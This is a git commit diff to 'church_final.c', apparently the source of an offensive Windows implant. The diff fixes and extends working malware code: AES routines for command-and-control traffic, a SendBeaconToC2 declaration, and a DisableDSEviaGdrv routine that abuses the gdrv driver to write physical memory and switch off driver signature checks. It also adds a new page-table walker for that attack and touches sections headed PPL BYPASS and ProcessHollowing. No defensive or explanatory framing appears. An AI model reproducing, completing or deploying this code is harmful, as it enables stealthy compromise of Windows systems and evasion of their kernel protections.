k3nundrum/CHURCH
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Update church_final.c

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ek0ms savi0r 2026-06-01 11:48:38 +00:00
parent eddd01d11b
commit d1be5497e0
1 changed files with 49 additions and 15 deletions
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church_final.c
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@ -168,7 +168,8 @@ pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
// ==================== FORWARD DECLARATIONS ==================== // ==================== FORWARD DECLARATIONS ====================
ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen); ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen);
ULONGLONG WalkPageTable(PVOID virtualAddr); ULONGLONG WalkPageTable(HANDLE hDevice, PVOID virtualAddr);
ULONGLONG ReadPhysicalQword(HANDLE hDevice, ULONGLONG physAddr);
BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen); BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen);
BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen); BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen);
BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task); BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task);
@ -212,7 +213,7 @@ VOID InitNtFunctions() {
// ==================== SINGLE INSTANCE ==================== // ==================== SINGLE INSTANCE ====================
BOOL EnsureSingleInstance() { BOOL EnsureSingleInstance() {
HANDLE hMutex = CreateMutexW(NULL, TRUE, (LPCWSTR)g_mutex_name); HANDLE hMutex = CreateMutexA(NULL, TRUE, g_mutex_name);
if (GetLastError() == ERROR_ALREADY_EXISTS) { if (GetLastError() == ERROR_ALREADY_EXISTS) {
if (hMutex) CloseHandle(hMutex); if (hMutex) CloseHandle(hMutex);
return FALSE; return FALSE;
@ -348,13 +349,13 @@ BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* c
BCRYPT_KEY_HANDLE hKey = NULL; BCRYPT_KEY_HANDLE hKey = NULL;
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))) if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
return FALSE; return FALSE;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, (ULONG)(wcslen(BCRYPT_CHAIN_MODE_CBC) * sizeof(WCHAR)), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, strlen(g_aes_key), 0); BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, 32, 0);
DWORD paddedLen = ((plaintextLen + 15) / 16) * 16; DWORD paddedLen = ((plaintextLen + 15) / 16) * 16;
*ciphertextLen = paddedLen + 16; *ciphertextLen = paddedLen + 16;
*ciphertext = (BYTE*)malloc(*ciphertextLen); *ciphertext = (BYTE*)malloc(*ciphertextLen);
if (!*ciphertext) { BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return FALSE; } if (!*ciphertext) { BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return FALSE; }
NTSTATUS status = BCryptEncrypt(hKey, plaintext, plaintextLen, NULL, (PUCHAR)g_aes_iv, strlen(g_aes_iv), *ciphertext, *ciphertextLen, ciphertextLen, BCRYPT_BLOCK_PADDING); NTSTATUS status = BCryptEncrypt(hKey, plaintext, plaintextLen, NULL, (PUCHAR)g_aes_iv, 16, *ciphertext, *ciphertextLen, ciphertextLen, BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey); BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0); BCryptCloseAlgorithmProvider(hAlg, 0);
return BCRYPT_SUCCESS(status); return BCRYPT_SUCCESS(status);
@ -365,12 +366,12 @@ BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD*
BCRYPT_KEY_HANDLE hKey = NULL; BCRYPT_KEY_HANDLE hKey = NULL;
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))) if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
return FALSE; return FALSE;
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, (ULONG)(wcslen(BCRYPT_CHAIN_MODE_CBC) * sizeof(WCHAR)), 0);
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, strlen(g_aes_key), 0); BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, 32, 0);
*plaintextLen = ciphertextLen; *plaintextLen = ciphertextLen;
*plaintext = (BYTE*)malloc(*plaintextLen + 1); *plaintext = (BYTE*)malloc(*plaintextLen + 1);
if (!*plaintext) return FALSE; if (!*plaintext) return FALSE;
NTSTATUS status = BCryptDecrypt(hKey, ciphertext, ciphertextLen, NULL, (PUCHAR)g_aes_iv, strlen(g_aes_iv), *plaintext, *plaintextLen, plaintextLen, BCRYPT_BLOCK_PADDING); NTSTATUS status = BCryptDecrypt(hKey, ciphertext, ciphertextLen, NULL, (PUCHAR)g_aes_iv, 16, *plaintext, *plaintextLen, plaintextLen, BCRYPT_BLOCK_PADDING);
BCryptDestroyKey(hKey); BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0); BCryptCloseAlgorithmProvider(hAlg, 0);
if (BCRYPT_SUCCESS(status)) (*plaintext)[*plaintextLen] = 0; if (BCRYPT_SUCCESS(status)) (*plaintext)[*plaintextLen] = 0;
@ -865,10 +866,12 @@ BOOL DisableDSEviaGdrv() {
if (ciOptionsAddr) { if (ciOptionsAddr) {
DWORD* relAddr = (DWORD*)(ciOptionsAddr + 2); DWORD* relAddr = (DWORD*)(ciOptionsAddr + 2);
ULONGLONG targetAddr = ciOptionsAddr + 6 + *relAddr; ULONGLONG targetAddr = ciOptionsAddr + 6 + *relAddr;
ULONGLONG physicalAddr = WalkPageTable((PVOID)targetAddr); ULONGLONG physicalAddr = WalkPageTable(hDevice, (PVOID)targetAddr);
if (physicalAddr) { if (physicalAddr) {
BYTE newValue = CI_OPTIONS_DISABLE_DSE; BYTE writeBuf[16] = {0};
DeviceIoControl(hDevice, GDRV_IOCTL_WRITE_PHYSICAL, &physicalAddr, sizeof(physicalAddr), &newValue, sizeof(newValue), &bytesReturned, NULL); memcpy(writeBuf, &physicalAddr, sizeof(physicalAddr));
writeBuf[8] = CI_OPTIONS_DISABLE_DSE;
DeviceIoControl(hDevice, GDRV_IOCTL_WRITE_PHYSICAL, &writeBuf, sizeof(writeBuf), NULL, 0, &bytesReturned, NULL);
} }
} }
} }
@ -911,8 +914,39 @@ ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen) {
return 0; return 0;
} }
ULONGLONG WalkPageTable(PVOID virtualAddr) { ULONGLONG ReadPhysicalQword(HANDLE hDevice, ULONGLONG physAddr) {
return (ULONGLONG)virtualAddr; ULONGLONG value = 0;
DWORD bytesRet = 0;
DeviceIoControl(hDevice, GDRV_IOCTL_READ_PHYSICAL, &physAddr, sizeof(physAddr), &value, sizeof(value), &bytesRet, NULL);
return value;
}
ULONGLONG WalkPageTable(HANDLE hDevice, PVOID virtualAddr) {
if (!hDevice || hDevice == INVALID_HANDLE_VALUE) return 0;
ULONGLONG va = (ULONGLONG)virtualAddr;
ULONGLONG pml4_idx = (va >> 39) & 0x1FF;
ULONGLONG pdpt_idx = (va >> 30) & 0x1FF;
ULONGLONG pd_idx = (va >> 21) & 0x1FF;
ULONGLONG pt_idx = (va >> 12) & 0x1FF;
ULONGLONG offset = va & 0xFFF;
for (ULONGLONG cr3 = 0x1000; cr3 < 0x200000; cr3 += 0x1000) {
ULONGLONG pml4e = ReadPhysicalQword(hDevice, cr3 + pml4_idx * 8);
if (!(pml4e & 1)) continue;
ULONGLONG pdpt_pa = pml4e & 0x7FFFFFFFFFFFF000ULL;
if (pml4e & 0x80) continue;
ULONGLONG pdpte = ReadPhysicalQword(hDevice, pdpt_pa + pdpt_idx * 8);
if (!(pdpte & 1)) continue;
if (pdpte & 0x80) return (pdpte & 0x7FFFFFFFFFFFC00000ULL) | (va & 0x3FFFFFFF);
ULONGLONG pd_pa = pdpte & 0x7FFFFFFFFFFFF000ULL;
ULONGLONG pde = ReadPhysicalQword(hDevice, pd_pa + pd_idx * 8);
if (!(pde & 1)) continue;
if (pde & 0x80) return (pde & 0x7FFFFFFFFFFFF00000ULL) | (va & 0x1FFFFF);
ULONGLONG pt_pa = pde & 0x7FFFFFFFFFFFF000ULL;
ULONGLONG pte = ReadPhysicalQword(hDevice, pt_pa + pt_idx * 8);
if (!(pte & 1)) continue;
return (pte & 0x7FFFFFFFFFFFF000ULL) | offset;
}
return 0;
} }
// ==================== PPL BYPASS ==================== // ==================== PPL BYPASS ====================
@ -1394,8 +1428,8 @@ BOOL ProcessHollowing(LPCWSTR targetProcess, LPCWSTR payloadPath) {
GetThreadContext(pi.hThread, &ctx); GetThreadContext(pi.hThread, &ctx);
NtUnmapViewOfSection(pi.hProcess, (PVOID)ctx.Rdx); NtUnmapViewOfSection(pi.hProcess, (PVOID)ctx.Rdx);
PVOID imageBase = NULL; PVOID imageBase = NULL;
DWORD_PTR pebAddr = 0; PROCESS_BASIC_INFORMATION pbi = {0};
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pebAddr, sizeof(pebAddr), NULL); NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (status == 0) { if (status == 0) {
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)peData; PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)peData;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(peData + pDos->e_lfanew); PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(peData + pDos->e_lfanew);